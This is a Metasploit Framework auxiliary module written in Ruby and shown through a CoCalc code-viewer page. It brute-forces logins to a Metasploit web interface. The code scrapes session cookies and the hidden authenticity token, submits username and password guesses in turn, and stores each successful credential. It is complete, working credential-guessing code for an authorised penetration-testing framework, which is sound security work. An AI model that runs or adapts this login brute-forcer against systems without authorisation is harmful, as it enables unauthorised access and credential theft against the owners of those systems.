Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/msf/msf_web_login.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::AuthBrute
10
11
include Msf::Auxiliary::Scanner
12
13
def initialize
14
super(
15
'Name' => 'Metasploit Web Interface Login Utility',
16
'Description' => %{
17
This module simply attempts to login to a Metasploit
18
web interface using a specific user/pass.
19
},
20
'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
21
'License' => MSF_LICENSE,
22
'DefaultOptions' => { 'SSL' => true }
23
)
24
25
register_options(
26
[
27
Opt::RPORT(3790),
28
OptString.new('URILOGIN', [true, "URI for Metasploit Web login. Default is /login", "/login"]),
29
OptString.new('URIGUESS', [true, "URI for Metasploit Web login. Default is /user_sessions", "/user_sessions"]),
30
OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]),
31
]
32
)
33
34
register_autofilter_ports([55553])
35
end
36
37
def run_host(ip)
38
begin
39
res = send_request_cgi({
40
'uri' => datastore['URILOGIN'],
41
'method' => 'GET'
42
}, 25)
43
http_fingerprint({ :response => res })
44
rescue ::Rex::ConnectionError => e
45
vprint_error("#{datastore['URILOGIN']} - #{e}")
46
return
47
end
48
49
if not res
50
vprint_error(" #{datastore['URILOGIN']} - No response")
51
return
52
end
53
if !(res.code == 200 or res.code == 302)
54
vprint_error("Expected 200 HTTP code - not msf web? Got: #{res.code}")
55
return
56
end
57
if res.body !~ /<title>Metasploit<\/title>/
58
vprint_error("Expected metasploit page - not msf web interface? #{res.body}")
59
return
60
end
61
62
each_user_pass do |user, pass|
63
do_login(user, pass)
64
end
65
end
66
67
def do_login(user = 'msf', pass = 'msf')
68
vprint_status(" - Trying username:'#{user}' with password:'#{pass}'")
69
begin
70
res = send_request_cgi({
71
'uri' => datastore['URILOGIN'],
72
'method' => 'GET'
73
}, 25)
74
75
token = ''
76
uisession = ''
77
if res and res.code == 200 and !res.get_cookies.empty?
78
# extract tokens from cookie
79
res.get_cookies.split(';').each { |c|
80
c.split(',').each { |v|
81
if v.split('=')[0] =~ /token/
82
token = v.split('=')[1]
83
elsif v.split('=')[0] =~ /_ui_session/
84
uisession = v.split('=')[1]
85
end
86
}
87
}
88
# extract authenticity_token from hidden field
89
atoken = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*)"/).flatten[0]
90
91
if atoken.nil?
92
print_error("No auth token found")
93
return :abort
94
end
95
else
96
print_error("Failed to get login cookies, aborting")
97
return :abort
98
end
99
100
res = send_request_cgi(
101
{
102
'uri' => datastore['URIGUESS'],
103
'method' => 'POST',
104
'cookie' => "token=#{token}; _ui_session=#{uisession}",
105
'vars_post' =>
106
{
107
'commit' => 'Sign in',
108
'utf8' => "\xE2\x9C\x93",
109
'authenticity_token' => atoken,
110
'user_session[username]' => user,
111
'user_session[password]' => pass
112
}
113
}, 25
114
)
115
116
if not res or res.code != 302
117
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}")
118
return :skip_pass
119
end
120
if res.headers['Location'] =~ /\/login/
121
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with wrong redirect")
122
return :skip_pass
123
else
124
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
125
126
report_cred(
127
ip: datastore['RHOST'],
128
port: datastore['RPORT'],
129
service_name: 'msf-web',
130
user: user,
131
password: pass,
132
proof: res.headers['Location']
133
)
134
return :next_user
135
end
136
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
137
print_error("HTTP Connection Failed, Aborting")
138
return :abort
139
end
140
end
141
142
def report_cred(opts)
143
service_data = {
144
address: opts[:ip],
145
port: opts[:port],
146
service_name: opts[:service_name],
147
protocol: 'tcp',
148
workspace_id: myworkspace_id
149
}
150
151
credential_data = {
152
origin_type: :service,
153
module_fullname: fullname,
154
username: opts[:user],
155
private_data: opts[:password],
156
private_type: :password
157
}.merge(service_data)
158
159
login_data = {
160
last_attempted_at: Time.now,
161
core: create_credential(credential_data),
162
status: Metasploit::Model::Login::Status::SUCCESSFUL,
163
proof: opts[:proof]
164
}.merge(service_data)
165
166
create_credential_login(login_data)
167
end
168
end
169
170